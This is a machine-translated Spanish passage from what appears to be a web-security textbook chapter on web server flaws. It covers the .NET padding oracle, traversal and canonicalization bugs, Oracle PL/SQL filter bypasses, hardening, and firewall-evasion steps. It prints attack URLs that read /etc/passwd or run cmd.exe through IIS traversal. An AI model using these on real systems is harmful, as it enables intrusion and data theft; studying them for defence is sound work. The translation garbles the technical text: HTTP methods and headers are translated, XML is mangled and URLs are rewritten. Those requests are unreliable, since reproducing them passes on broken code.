en .NET. .NET usa relleno PKCS #5 en un cifrado de bloque CBC, que funciona de la siguiente
manera.
Un cifrado de bloque opera en un tamaño de bloque fijo, que en .NET suele ser de 8 o 16
bytes. .NET utiliza el estándar PKCS #5 para agregar bytes de relleno a cada cadena de texto
sin formato, lo que garantiza que la longitud de la cadena de texto sin formato resultante sea
divisible por el tamaño del bloque. En lugar de rellenar el mensaje con un valor arbitrario, el
valor seleccionado para el relleno es el número de bytes de relleno que se utilizan. Cada
cadena se rellena, por lo que si la cadena inicial es un múltiplo del tamaño del bloque, se
agrega un bloque completo de relleno. Entonces, en un tamaño de bloque de 8, un mensaje
debe completarse con un byte 0x01, dos bytes 0x02 o cualquiera de las combinaciones
intermedias hasta ocho bytes 0x08. Luego, el texto sin formato del primer mensaje se somete
a XOR con un bloque de mensaje preestablecido llamado vector de inicialización (IV). (Recuerde
los problemas con la selección de patrones en el texto cifrado discutidos en el Capítulo 7.)
Como se describe en el Capítulo 7, el segundo mensaje se XOR con el texto cifrado del primer
mensaje, comenzando la cadena de bloques cíclica.
El proceso completo de cifrado de .NET es el siguiente: 1.
Tome un mensaje de texto sin formato.
2. Rellene el mensaje, utilizando el número necesario de bytes de relleno como valor de bytes
de relleno.
3. XOR el primer bloque de texto sin formato con el vector de inicialización.
4. Cifre el valor XORed del paso 3 usando Triple-DES.
A partir de ahí, los pasos de encriptación del resto del mensaje son recursivos.
(Este es el proceso de encadenamiento de bloques de cifrado (CBC) descrito en el Capítulo
7): 5. XOR el segundo bloque de texto sin formato con el bloque anterior cifrado.
6. Cifre el valor XORed utilizando Triple-DES.
Las versiones Padding
Oracle Vulnerable de .NET hasta septiembre de 2010 contenían una falla aparentemente pequeña
en la divulgación de información. Si se encontrara un relleno incorrecto en el mensaje, la aplicación
informaría un error, lo que daría como resultado un código de respuesta HTTP 500 para el usuario.
Usando los comportamientos del algoritmo de relleno PKCS #5 y CBC juntos, todo el mecanismo de
seguridad de .NET podría verse comprometido. Así es cómo.
Tenga en cuenta que, para que sean válidas, todas las cadenas de texto sin formato
deben incluir al menos un byte de relleno. Además, tenga en cuenta que el primer bloque
de texto cifrado que ve es el vector de inicialización, que no tiene otro propósito que XOR
contra el valor de texto sin formato del primer bloque cifrado del mensaje. Para el ataque,
el atacante proporciona una cadena que contiene solo los dos primeros bloques de texto
cifrado a la aplicación . Estos dos bloques son el IV, seguido del primer bloque de texto cifrado.
El atacante proporciona un IV que contiene solo ceros y luego realiza una serie de solicitudes,
incrementando secuencialmente el último byte del IV. Este último byte es XOR con el último byte en
el texto cifrado y, a menos que el valor resultante para este último byte sea 0x01, ¡el algoritmo
criptográfico arroja un error! (Recuerde que el valor de texto claro de cualquier cadena debe terminar
en uno o más valores de relleno.
Debido a que no hay ningún otro relleno presente en el primer bloque de texto cifrado, el último valor
debe descifrarse como 0x01).
Un atacante puede aprovechar esta condición de error: eventualmente alcanzará el valor que,
cuando se realiza una operación XOR con el último byte del bloque de texto cifrado, da como resultado 0x01.
En este punto se puede determinar el valor de texto claro del último byte y , porque:
x XOR y = 0x01
así que acabamos de determinar el valor de x.

El mismo proceso funciona en el penúltimo byte del texto cifrado. Esta vez, el atacante (sabiendo
el valor de y) elige el valor de x para el cual el último byte se descifrará como 0x02. Luego realiza el
mismo proceso incremental en el penúltimo carácter en el vector de inicialización, recibiendo 500
Mensajes de error interno del servidor hasta que el penúltimo byte descifrado sea
0x02. En este punto, hay dos bytes 0x02 al final del mensaje, lo que equivale a un
relleno válido, y no se devuelve ningún error. Luego, este proceso se puede aplicar
recursivamente en todos los bits del bloque de destino y luego en el siguiente bloque
de texto cifrado, a través de todos los bloques del mensaje.
De esta forma, un atacante puede descifrar todo el mensaje. Curiosamente, el mismo
mecanismo permite al atacante cifrar un mensaje. Una vez que haya recuperado una
cadena de texto sin formato, puede modificar el IV para producir la cadena de texto sin
formato de su elección. Uno de los mejores objetivos es ScriptResource.axd. El
argumento d de ScriptResource es un nombre de archivo cifrado. Un atacante que elige
un nombre de archivo de web.config recibe el archivo real, porque ASP.NET pasa por
alto las restricciones normales impuestas por IIS al entregar el archivo. Por ejemplo:
https://mdsec.net/ScriptResource.axd?d=SbXSD3uTnhYsK4gMD8fL84_mHPC5jJ7lf
dnr1_WtsftZiUOZ6IXYG8QCXW86UizF0&t=632768953157700078
NOTA Este ataque se aplica de manera más general a cualquier cifrado CBC que utilice
el relleno PKCS #5. Originalmente se discutió en 2002, aunque .NET es un objetivo
principal porque usa este tipo de relleno para tokens de sesión, ViewState y
ScriptResource.axd. El documento original se puede encontrar en www.iacr.org/archive/
eurocrypt2002/23320530/cbc02_e02d.pdf.
ADVERTENCIA "Nunca implemente sus propios algoritmos criptográficos" es a menudo

un comentario descartable basado en la sabiduría recibida. Sin embargo, el ataque de
volteo de bits descrito en el Capítulo 7 y el ataque del oráculo de relleno que acabamos de
mencionar muestran cómo anomalías aparentemente diminutas pueden explotarse en la
práctica para producir resultados catastróficos. Así que nunca utilices tus propios algoritmos criptográficos.
¡INTENTALO!
http://mdsec.net/private/
Vulnerabilidades de gestión de memoria

Los desbordamientos de búfer se encuentran entre las fallas más graves que pueden afectar a cualquier
tipo de software , ya que normalmente permiten que un atacante tome el control de la ejecución en el proceso
vulnerable (consulte el Capítulo 16). Lograr la ejecución de código arbitrario dentro de un servidor web
generalmente permite que un atacante comprometa cualquier aplicación que esté alojando.
Las siguientes secciones presentan una pequeña muestra de desbordamientos de búfer del servidor web.
Ilustran la omnipresencia de esta falla, que ha surgido en una amplia gama de productos y componentes de
servidores web.
Apache mod_isapi Puntero colgante

En 2010, se encontró una falla por la cual mod_isapi de Apache podía verse forzado a
descargarse de la memoria cuando se encontraban errores. Los punteros de función
correspondientes permanecen en la memoria y se pueden llamar cuando se hace referencia
a las funciones ISAPI correspondientes, accediendo a partes arbitrarias de la memoria.
Para obtener más información sobre esta falla, visite www.senseofsecurity.com.au/
avisos/SOS-10-002.
Extensiones ISAPI de Microsoft IIS
Las versiones 4 y 5 de Microsoft IIS contenían una variedad de extensiones ISAPI que
estaban habilitadas de forma predeterminada. Se descubrió que varios de estos contenían
desbordamientos de búfer, como la extensión del Protocolo de impresión de Internet y la
extensión del servidor de índices, ambas descubiertas en 2001. Estas fallas permitieron a
un atacante ejecutar código arbitrario dentro del contexto del sistema local, por lo que
comprometer toda la computadora. Estas fallas también permitieron que los gusanos Nimda
y Code Red se propagaran y comenzaran a circular. Los siguientes boletines de Microsoft
TechNet detallan estas fallas:
n www.microsoft.com/technet/security/bulletin/MS01-023.mspx
Siete años despues
Se encontró otra falla en el servicio IPP en 2008. Esta vez, la mayoría de las versiones
implementadas de IIS en Windows 2003 y 2008 no fueron inmediatamente vulnerables
porque la extensión está deshabilitada de manera predeterminada. El aviso publicado por
Microsoft se puede encontrar en www.microsoft.com/technet/security/bulletin/
ms08-062.mspx.
Desbordamiento de codificación fragmentada de Apache
En 2002, se descubrió un desbordamiento de búfer resultante de un error de firma de

enteros en el servidor web Apache. El código afectado se había reutilizado en muchos
otros productos de servidor web, que también se vieron afectados. Para más detalles, consulte www .
.securityfocus.com/bid/5033/discuss.
Ocho años después

En 2010, se encontró un desbordamiento de enteros en mod_proxy de Apache al manejar
la codificación fragmentada en las respuestas HTTP. Se puede encontrar un informe de
esta vulnerabilidad en www.securityfocus.com/bid/37966.
Desbordamientos de WebDAV
En 2003 se descubrió un desbordamiento de búfer en un componente central del sistema

operativo Windows . Este error podría aprovecharse a través de varios vectores de ataque,
el más importante de los cuales para muchos clientes fue el soporte WebDAV integrado
en IIS 5. La vulnerabilidad fue siendo explotado activamente en la naturaleza en el
momento en que se produjo un arreglo. Esta vulnerabilidad se detalla en www.microsoft
.com/technet/security/bulletin/MS03-007.mspx.
Siete años despues
La implementación de WebDAV ha introducido vulnerabilidades en una variedad de

servidores web.
En 2010, se descubrió que una ruta demasiado larga en una solicitud de OPCIONES
provocó un desbordamiento en el servidor web del sistema Java de Sun. Puede leer
más sobre esto en www.exploit-db.com/exploits/14287/.
Otro problema de desbordamiento de búfer de 2009 se informó en la extensión
mod_dav de Apache. Se pueden encontrar más detalles en http://cve.mitre.org/cgi-bin/cvename
.cgi?nombre=CVE-2010-1452.
Codificación y Canonicalización
Como se describe en el Capítulo 3, existen varios esquemas que permiten codificar
caracteres especiales y contenido para una transmisión segura a través de HTTP. Ya ha
visto, en el contexto de varios tipos de vulnerabilidades de aplicaciones web, cómo un
atacante puede aprovechar estos esquemas para evadir las comprobaciones de validación
de entrada y realizar otros ataques.
Han surgido fallas de codificación en muchos tipos de software de servidor de aplicaciones.
Presentan una amenaza inherente en situaciones en las que los mismos datos
proporcionados por el usuario son procesados por varias capas utilizando diferentes
tecnologías. Una solicitud web típica puede ser manejada por el servidor web, la plataforma
de la aplicación, varias API administradas y no administradas, otros componentes de
software y el sistema operativo subyacente. Si diferentes componentes manejan un
esquema de codificación de diferentes maneras, o realizan decodificación adicional o
interpretación de datos que ya han sido parcialmente procesados, este hecho a menudo
se puede explotar para eludir filtros o causar otro comportamiento anómalo.
El cruce de rutas es una de las vulnerabilidades más frecuentes que se pueden explotar
a través de una falla de canonicalización porque siempre involucra la comunicación con el
sistema operativo. El Capítulo 10 describe cómo pueden surgir vulnerabilidades de cruce
de rutas en las aplicaciones web. Los mismos tipos de problemas también han surgido en
numerosos tipos de software de servidor web, lo que permite a un atacante leer o escribir
archivos arbitrarios fuera de la raíz web.
Travesía de la ruta del servidor iDisk de Apple
Apple iDisk Server es un popular servicio de almacenamiento sincronizado en la

nube. En 2009, Jeremy Richards descubrió que era vulnerable al recorrido de directorios.
Un usuario de iDisk tiene una estructura de directorio que incluye un directorio público, cuyo
contenido es accesible deliberadamente para usuarios de Internet no autenticados.
Richards descubrió que se podía recuperar contenido arbitrario de las secciones privadas del
iDisk de un usuario mediante el uso de caracteres Unicode que atraviesan la carpeta pública
para acceder a un archivo privado:
http://idisk.mac.com/Jeremy.richards-Public/%2E%2E%2FPRIVATE.txt?disposition=
descargar+8300
Una ventaja adicional fue que se podía emitir primero una solicitud WebDAV PROPFIND
para enumerar el contenido del iDisk:
POST /Jeremy.richards-Public/<strong>%2E%2E%2F/<strong>?webdav-method=
PROFINIR
...
Servidor web Ruby WEBrick
WEBrick es un servidor web proporcionado como parte de Ruby. Se encontró que era
vulnerable a una falla transversal simple de esta forma:
http://[servidor]:[puerto]/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/boot .ini
Para obtener más información sobre esta falla, consulte www.securityfocus.com/bid/28123.
Recorrido de directorios del servidor web Java
Esta falla en el recorrido de la ruta aprovechó el hecho de que la JVM no descodificó UTF-8.
Los servidores web escritos en Java y que usaban versiones vulnerables de JVM incluían
Tomcat, y el contenido arbitrario se podía recuperar usando secuencias ../ codificadas en UTF-8:
http://www.target.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Para obtener más información sobre esta falla, consulte http://tomcat.apache.org

/seguridad-6.html.
Vulnerabilidad en la lista de directorios de Allaire JRun
En 2001, se encontró una vulnerabilidad en Allaire JRun que permitía a un atacante recuperar
listados de directorios incluso en directorios que contenían un archivo predeterminado como
index.html. Se puede recuperar una lista utilizando URL de la siguiente forma:
https://wahh-app.com/dir/%3f.jsp
%3f es un signo de interrogación codificado en URL, que normalmente se usa para

indicar el inicio de la cadena de consulta. El problema surgió porque el analizador de URL
inicial no interpretó el %3f como el indicador de cadena de consulta. Al tratar la URL como
si terminara en .jsp, el servidor pasó la solicitud al componente que maneja las solicitudes
de archivos JSP. Luego, este componente decodificó el %3f, lo interpretó como el
comienzo de la cadena de consulta, descubrió que la URL base resultante no era un
archivo JSP y devolvió la lista de directorios. Se pueden encontrar más detalles en
www.securityfocus.com/bid/3592.
Ocho años después
En 2009, se anunció una vulnerabilidad similar de mucho menor riesgo en Jetty relacionada con el cruce
de directorios en situaciones en las que el nombre de un directorio terminaba en un signo de interrogación.
La solución fue codificar el ? como %3f. Los detalles se pueden encontrar en https://www.kb.cert.org/vuls/
id/402580.
Vulnerabilidades transversales de ruta Unicode de Microsoft IIS

Se identificaron dos vulnerabilidades relacionadas en el servidor Microsoft IIS en 2000 y
2001. Para evitar ataques de cruce de rutas, IIS buscó solicitudes que contuvieran la
secuencia punto-punto-barra tanto en su forma literal como codificada en URL. Si una
solicitud no contenía estas expresiones, se aceptaba para su posterior procesamiento.
Sin embargo, el servidor luego realizó una canonicalización adicional en la URL solicitada,
lo que permitió a un atacante eludir el filtro y hacer que el servidor procesara secuencias
transversales.
En la primera vulnerabilidad, un atacante podría proporcionar varias formas ilegales
codificadas en Unicode de la secuencia punto-punto-barra, como ..%c0%af. Esta expresión
no coincidía con los filtros iniciales de IIS, pero el procesamiento posterior toleró la
codificación ilegal y la volvió a convertir en una secuencia transversal literal. Esto permitió
a un atacante salir de la raíz web y ejecutar comandos arbitrarios con URL como las
siguientes:
https://wahh-app.com/scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd .exe?/c+dir+c:
\
En la segunda vulnerabilidad, un atacante podría proporcionar formas de codificación

doble de la secuencia punto-punto-barra, como ..%255c. Una vez más, esta expresión no
coincidía con los filtros de IIS, pero el procesamiento posterior realizó una decodificación
superflua de la entrada, convirtiéndola de nuevo en una secuencia transversal literal. Esto
permitió un ataque alternativo con URL como las siguientes:
https://wahh-app.com/scripts/..%255c..%255c..%255c..%255c..%255c.. %255cwinnt/system32/cmd.exe?/
c+dir+c: \
Más detalles sobre estas vulnerabilidades se pueden encontrar aquí:
Nueve años después
La importancia perdurable de las vulnerabilidades de codificación y canonicalización en el software del

servidor web se puede ver en el resurgimiento de una vulnerabilidad IIS similar, esta vez en WebDAV,
en 2009. Se podía descargar un archivo protegido por IIS insertando un %c0%af falso cadena en la
URL. IIS otorga acceso a este recurso porque no parece ser una solicitud del archivo protegido. Pero
la cadena maliciosa se elimina más tarde de la solicitud:
OBTENER /prote%c0%afectado/protegido.zip HTTP/1.1

Traducir: f
Conexión: cerrar
Anfitrión: wahh-app.net
El encabezado Translate: f garantiza que esta solicitud sea manejada por la extensión
WebDAV. El mismo ataque se puede llevar a cabo directamente dentro de una solicitud
WebDAV usando lo siguiente:
PROPFIND /protec%c0%afted/ HTTP/1.1

Anfitrión: wahh-app.net
Agente de usuario: neo/0.12.2 Conexión:
TE
TE: remolques
Profundidad: 1
Longitud del contenido: 288 Tipo
de contenido: aplicación/xml <?xml version=”1.0”
encoding=”utf-8”?> <propfind xmlns=”DAV:”><prop>
<getcontentlength xmlns=”DAV:”/> <getlastmodified

xmlns=”DAV:”/>
<ejecutable xmlns=”http://apache.org/dav/props/”/>
<resourcetype xmlns=”DAV:”/> <check-in
xmlns=”DAV:”/>
<xmlns desprotegido=”DAV:”/>
</prop></propfind>
Para obtener más información, consulte www.securityfocus.com/bid/34993/.
Omisiones de la lista de exclusión de Oracle PL/ SQL
Recuerde la peligrosa funcionalidad predeterminada a la que se podía acceder a través de la puerta

de enlace PL/SQL de Oracle. Para solucionar este problema, Oracle creó la lista de exclusión de PL/SQL,
que bloquea el acceso a paquetes cuyos nombres comienzan con ciertas expresiones, como OWA
y SYS.
Entre 2001 y 2007, David Litchfield descubrió una serie de omisiones en la lista de exclusión de
PL/SQL. En la primera vulnerabilidad, el filtro se puede omitir colocando
espacios en blanco (como una nueva línea, un espacio o una tabulación) antes del nombre del paquete:
https://wahh-app.com/pls/dad/%0ASYS.package.procedure
Esto pasa por alto el fi ltro y la base de datos de back-end ignora el espacio en blanco,
haciendo que se ejecute el paquete peligroso.
En la segunda vulnerabilidad, el fi ltro se puede omitir reemplazando la letra
Y con %FF, que representa el carácter ÿ:
https://wahh-app.com/pls/dad/S%FFS.package.procedure
Esto pasa por alto el fi ltro y la base de datos de back-end canonicaliza el carácter
volver a una Y estándar, invocando así el paquete peligroso.
En la tercera vulnerabilidad, el fi ltro puede pasarse por alto encerrando un bloque
expresión entre comillas dobles:
https://wahh-app.com/pls/dad/”SYS”.package.procedure
Esto pasa por alto el fi ltro, y la base de datos de back-end tolera el paquete citado
nombres, lo que significa que se invoca el paquete peligroso.
En la cuarta vulnerabilidad, el fi ltro se puede omitir utilizando paréntesis angulares
para colocar una etiqueta goto de programación antes de la expresión bloqueada:
https://wahh-app.com/pls/dad/<<FOO>>SYS.package.procedure
Esto pasa por alto el fi ltro. La base de datos back-end ignora la etiqueta goto y
ejecuta el paquete peligroso.
Cada una de estas diferentes vulnerabilidades surge porque el filtrado frontal lo realiza
un componente sobre la base de una coincidencia de patrones basada en texto simple.
El procesamiento posterior lo realiza un componente diferente que sigue sus propias reglas para
interpretar el significado sintáctico y semántico de la entrada.
Cualquier diferencia entre los dos conjuntos de reglas puede presentar una oportunidad para que
un atacante proporcione una entrada que no coincida con los patrones utilizados en el filtro pero
que la base de datos interprete de tal manera que se invoque el paquete deseado por el atacante.
Debido a que la base de datos de Oracle es tan funcional, hay un amplio margen para que surjan
diferencias de este tipo.
Puede encontrar más información sobre estas vulnerabilidades aquí:
n www.securityfocus.com/archive/1/423819/100/0/threaded
n The Oracle Hacker's Handbook por David Litchfield (Wiley, 2007)

Siete años despues
En 2008 se descubrió un problema en Portal Server (parte de Oracle Application Server). Un

atacante con un valor de cookie de ID de sesión que termine en %0A podría omitir la verificación
de autenticación básica predeterminada.
Encontrar fallas en el servidor web

Si tiene suerte, el servidor web al que se dirige puede contener algunas de las vulnerabilidades
reales descritas en este capítulo. Sin embargo, lo más probable es que haya sido parcheado a
un nivel más reciente, y deberá buscar algo bastante actual o nuevo con el que atacar el servidor.
Un buen punto de partida para buscar vulnerabilidades en un producto estándar, como un

servidor web, es utilizar una herramienta de exploración automatizada. A diferencia de las
aplicaciones web, que generalmente se crean a medida, casi todas las implementaciones de
servidores web utilizan software de terceros que se ha instalado y configurado de la misma
manera que muchas otras personas lo han hecho antes. En esta situación, los escáneres
automatizados pueden ser bastante efectivos para localizar rápidamente la fruta más fácil
enviando grandes cantidades de solicitudes diseñadas y monitoreando las firmas que indican la
presencia de vulnerabilidades conocidas. Nessus es un excelente escáner de vulnerabilidades
gratuito y hay varias alternativas comerciales disponibles.
Además de ejecutar herramientas de escaneo, siempre debe realizar su propia investigación
sobre el software que está atacando. Consulte recursos como Security Focus, OSVDB y las listas
de correo Bugtraq y Full Disclosure para encontrar detalles de las vulnerabilidades descubiertas
recientemente que pueden no haberse corregido en su objetivo. Siempre revise la base de datos
de exploits y Metasploit para ver si alguien ha hecho el trabajo por usted y también ha creado el
exploit correspondiente. Las siguientes URL deberían ayudar:
n www.exploit-db.com
en www.metasploit.com/
n www.grok.org.uk/full-disclosure/
norte http://osvdb.org/search/advsearch
Debe tener en cuenta que algunos productos de aplicaciones web incluyen un servidor web
de código abierto como Apache o Jetty como parte de su instalación. Las actualizaciones de
seguridad para estos servidores integrados pueden aplicarse más lentamente porque los
administradores pueden ver el servidor como parte de la aplicación instalada, en lugar de como
parte de la infraestructura de la que son responsables. También es probable que aplicar una
actualización directa en lugar de esperar el parche del proveedor de la aplicación invalide los contratos de soporte.
Por lo tanto, realizar algunas pruebas e investigaciones manuales en el software puede ser muy
efectivo para identificar defectos que un escáner automático puede pasar por alto.
Si es posible, debería considerar realizar una instalación local del software que está atacando
y realizar sus propias pruebas para encontrar nuevas vulnerabilidades que no se hayan
descubierto o que no hayan circulado ampliamente.
Protección del software del servidor web

Hasta cierto punto, una organización que implementa un producto de servidor web de
terceros inevitablemente pone su destino en manos del proveedor de software. Sin
embargo, una organización consciente de la seguridad puede hacer mucho para protegerse
contra el tipo de vulnerabilidades de software descritas en este capítulo.
Elija un software con un buen historial
No todos los productos y proveedores de software son iguales. Echar un vistazo a la historia reciente
de diferentes productos de servidor revela algunas diferencias marcadas en la cantidad de
vulnerabilidades graves encontradas, el tiempo que tardan los proveedores en resolverlas y la
resistencia de las correcciones publicadas a las pruebas posteriores de los investigadores. Antes de
elegir qué software de servidor web implementar, debe investigar estas diferencias y considerar cómo
le habría ido a su organización en los últimos años si hubiera utilizado cada tipo de software que está
considerando.
Aplicar parches de proveedor
Cualquier proveedor de software decente debe publicar actualizaciones de seguridad periódicamente.

A veces , estos abordan problemas que el propio proveedor descubrió internamente. En otros casos,
los problemas fueron informados por un investigador independiente, quien puede o no haber guardado
la información para sí misma. Otras vulnerabilidades se señalan a la atención del proveedor porque se
están explotando activamente en la naturaleza. Pero en todos los casos, tan pronto como se lanza un
parche, cualquier ingeniero inverso decente puede identificar rápidamente el problema que soluciona,
lo que permite a los atacantes desarrollar exploits para el problema. Siempre que sea factible, por lo
tanto, las correcciones de seguridad deben aplicarse lo antes posible después de que estén disponibles.
Realizar refuerzo de seguridad

La mayoría de los servidores web tienen numerosas opciones configurables que controlan qué
funcionalidad está habilitada y cómo se comporta. Si la funcionalidad no utilizada, como las extensiones
ISAPI predeterminadas , se deja habilitada, su servidor corre un mayor riesgo de sufrir un ataque si se
descubren nuevas vulnerabilidades dentro de esa funcionalidad. Debe consultar las guías de
endurecimiento específi cos para el software que está utilizando, pero aquí hay algunos pasos genéricos a considerar:
n Deshabilite cualquier funcionalidad integrada que no sea necesaria y configure la funcionalidad

restante para que se comporte de la forma más restrictiva posible, de acuerdo con los requisitos
de su empresa. Esto puede incluir la eliminación de extensiones de archivo asignadas, módulos
de servidor web y componentes de base de datos. Puede utilizar herramientas como IIS
Lockdown para facilitar esta tarea.
n Si la aplicación en sí se compone de extensiones de servidor

personalizadas adicionales desarrolladas en código nativo, considere si se pueden
reescrito usando código administrado. Si no pueden, asegúrese de que su

entorno de código administrado realice una validación de entrada adicional antes
de que se pase a estas funciones.
n Muchas funciones y recursos que necesita conservar a menudo se pueden renombrar
de sus valores predeterminados para presentar una barrera adicional a la explotación.
Incluso si un atacante habilidoso todavía puede descubrir el nuevo nombre, esta
medida de oscuridad protege contra atacantes menos habilidosos y gusanos
automatizados. n Aplicar el principio de privilegio mínimo en toda la pila de tecnología.
Por ejemplo, la seguridad de los contenedores puede reducir la superficie de ataque
que se le presenta a un usuario de una aplicación estándar. El proceso del servidor
web debe configurarse para utilizar la cuenta del sistema operativo menos potente
posible. En los sistemas basados en UNIX, se puede usar un entorno chroot para
contener aún más el impacto de cualquier compromiso.
Supervisión de nuevas vulnerabilidades
Se debe asignar a alguien en su organización para monitorear recursos como Bugtraq y Full
Disclosure para anuncios y discusiones sobre nuevas vulnerabilidades en el software que
está utilizando. También puede suscribirse a varios servicios privados para recibir
notificaciones tempranas de vulnerabilidades conocidas en el software que aún no se han
divulgado públicamente. A menudo, si conoce los detalles técnicos de una vulnerabilidad,
puede implementar una solución temporal efectiva pendiente del lanzamiento de una
solución completa por parte del proveedor.
Usar defensa en profundidad
Siempre debe implementar capas de protección para mitigar el impacto de una brecha de
seguridad dentro de cualquier componente de su infraestructura. Puede tomar varios pasos
para ayudar a localizar el impacto de un ataque exitoso en su servidor web.
Incluso en el caso de un compromiso total, esto puede darle suficiente tiempo para responder
al incidente antes de que ocurra una pérdida significativa de datos:
n Puede imponer restricciones a las capacidades del servidor web desde otros
componentes autónomos de la aplicación. Por ejemplo, la cuenta de la base de datos
utilizada por la aplicación solo puede recibir acceso INSERT a las tablas utilizadas
para almacenar registros de auditoría. Esto significa que un atacante que compromete
el servidor web no puede eliminar ninguna entrada de registro que ya se haya creado.
n Puede imponer filtros estrictos a nivel de red en el tráfico hacia y desde la web
servidor.
n Puede utilizar un sistema de detección de intrusos para identificar cualquier

actividad de red anómala que pueda indicar que se ha producido una infracción.
Después de prometer un servidor web, muchos atacantes intentan inmediatamente crear
una conexión inversa a Internet o buscar otros hosts en la red DMZ.

Un IDS efectivo le notificará estos eventos en tiempo real, lo que le
permitirá tomar medidas para detener el ataque.
Cortafuegos de aplicaciones web
Muchas aplicaciones están protegidas por un componente externo que reside en el mismo
host que la aplicación o en un dispositivo basado en la red. Éstos se pueden categorizar
para realizar prevención de intrusos (cortafuegos de aplicaciones) o detección (como los
sistemas convencionales de detección de intrusos). Debido a las similitudes en la forma en
que estos dispositivos identifican los ataques, los trataremos de manera bastante intercambiable.
Aunque muchos argumentarían que tenerlos es mejor que nada, en muchos casos pueden
crear una falsa sensación de seguridad en la creencia de que una capa adicional de defensa
implica una mejora automática de la postura defensiva.
Es poco probable que un sistema de este tipo reduzca la seguridad y puede detener un
ataque claramente definido, como un gusano de Internet, pero en otros casos puede que no
mejore la seguridad tanto como a veces se cree.
Inmediatamente se puede notar que a menos que tales defensas empleen reglas
altamente personalizadas, no protegen contra ninguna de las vulnerabilidades discutidas en
los Capítulos 4 a 8 y no tienen uso práctico para defender fallas potenciales en la lógica de
negocios (Capítulo 11). Tampoco tienen ningún papel que desempeñar en la defensa contra
algunos ataques específicos, como XSS basado en DOM (Capítulo 12). Para las
vulnerabilidades restantes donde se puede exhibir un patrón de ataque potencial, varios
puntos a menudo disminuyen la utilidad de un firewall de aplicaciones web:
n Si el cortafuegos sigue las especificaciones de HTTP demasiado de cerca, puede

hacer suposiciones sobre cómo el servidor de aplicaciones manejará la solicitud.
Por el contrario, los dispositivos de firewall o IDS que tienen su origen en las
defensas de la capa de red a menudo no comprenden los detalles de ciertos métodos
de transmisión HTTP.
n El propio servidor de aplicaciones puede modificar la entrada del usuario

descodificándola, agregando caracteres de escape o filtrando cadenas específicas
en el curso de atender una solicitud después de que haya pasado el cortafuegos.
Muchos de los pasos de ataque descritos en capítulos anteriores tienen como objetivo
eludir la validación de entrada, y los firewalls de la capa de aplicación pueden ser
susceptibles a los mismos tipos de ataques. n Muchos cortafuegos e IDS emiten alertas
basadas en cargas útiles de ataques comunes específicos , no en la explotación
general de una vulnerabilidad. Si un atacante puede recuperar un archivo arbitrario
del sistema de archivos, es probable que se bloquee una solicitud para /manager/
viewtempl?loc=/etc/passwd , mientras que una solicitud para /manager/viewtempl?
loc=/var/log/ syslog no se denominaría un ataque, aunque su contenido puede ser más útil para un ataca
En un nivel alto, no necesitamos distinguir entre un fi ltro de validación de entrada

global, un agente basado en host o un firewall de aplicación web basado en red. Los
siguientes pasos se aplican a todos en igual medida.
PASOS DE HACK
La presencia de un firewall de aplicaciones web se puede deducir siguiendo los siguientes pasos:
1. Envíe un nombre de parámetro arbitrario a la aplicación con una carga de ataque clara en el
valor, idealmente en algún lugar donde la aplicación incluya el nombre y/o el valor en la
respuesta. Si la aplicación bloquea el ataque, probablemente se deba a una defensa externa.
2. Si se puede enviar una variable que se devuelve en una respuesta del servidor, envíe un
rango de cadenas fuzz y variantes codificadas para identificar el comportamiento de las
defensas de la aplicación ante la entrada del usuario.
3. Confirme este comportamiento realizando los mismos ataques a las variables dentro de la
aplicación.
Puede probar las siguientes cadenas para intentar eludir un firewall de aplicación web:
1. Para todas las cadenas y solicitudes de fuzzing, use cadenas benignas para cargas útiles
que es poco probable que existan en una base de datos de firmas estándar. Dar ejemplos
de estos es, por definición, imposible. Pero debe evitar usar /etc/passwd o /windows/
system32/config/sam como cargas útiles para la recuperación de archivos. También evite
usar términos como <script> en un ataque XSS y use alert() o xss como cargas útiles XSS.
2. Si una solicitud en particular está bloqueada, intente enviar el mismo parámetro en una
ubicación o contexto diferente. Por ejemplo, envíe el mismo parámetro en la URL en una
solicitud GET, dentro del cuerpo de una solicitud POST y dentro de la URL en una solicitud
POST.
3. En ASP.NET, también intente enviar el parámetro como una cookie. la API

Request.Params[“foo”] recupera el valor de una cookie llamada foo si el parámetro foo
no se encuentra en la cadena de consulta o en el cuerpo del mensaje.
4. Revise todos los demás métodos para introducir la entrada del usuario proporcionados en
Capítulo 4, eligiendo cualquiera que esté desprotegido.
5. Determinar las ubicaciones donde la entrada del usuario se envía (o se puede enviar) en un
formato no estándar, como serialización o codificación. Si no hay ninguno disponible,
construya la cadena de ataque por concatenación y/o expandiéndola a través de múltiples
variables. (Tenga en cuenta que si el objetivo es ASP.NET, puede usar HPP para concatenar
el ataque usando varias especificaciones de la misma variable).
Muchas organizaciones que implementan firewalls de aplicaciones web o IDS no los han
probado específicamente de acuerdo con una metodología como la descrita en esta sección.
Como resultado, a menudo vale la pena perseverar en un ataque contra tales dispositivos.
Resumen
Al igual que con los otros componentes en los que se ejecuta una aplicación web, el servidor web
representa un área significativa de superficie de ataque a través de la cual una aplicación puede
verse comprometida. Los defectos en un servidor de aplicaciones a menudo pueden socavar
directamente la seguridad de una aplicación al dar acceso a listas de directorios, código fuente
para páginas ejecutables, configuración confidencial y datos de tiempo de ejecución, y la
capacidad de omitir filtros de entrada.
Debido a la amplia variedad de productos y versiones de servidores de aplicaciones, la
localización de las vulnerabilidades del servidor web suele implicar un poco de reconocimiento e
investigación. Sin embargo, esta es un área en la que las herramientas de análisis automatizado
pueden ser muy eficaces para localizar rápidamente vulnerabilidades conocidas dentro de la
configuración y el software del servidor que está atacando.
Preguntas
1. ¿En qué circunstancias un servidor web muestra una lista de directorios?

2. ¿Para qué se utilizan los métodos WebDAV y por qué pueden ser peligrosos?
3. ¿Cómo puede explotar un servidor web que está configurado para actuar como un proxy web?
4. ¿Qué es la lista de exclusión de Oracle PL/SQL y cómo se puede eludir?
5. Si un servidor web permite el acceso a su funcionalidad tanto a través de HTTP como de

HTTPS, ¿existe alguna ventaja en usar un protocolo sobre el otro cuando se buscan
vulnerabilidades?
CAPÍTULO R
19
Encontrar vulnerabilidades
en el código fuente
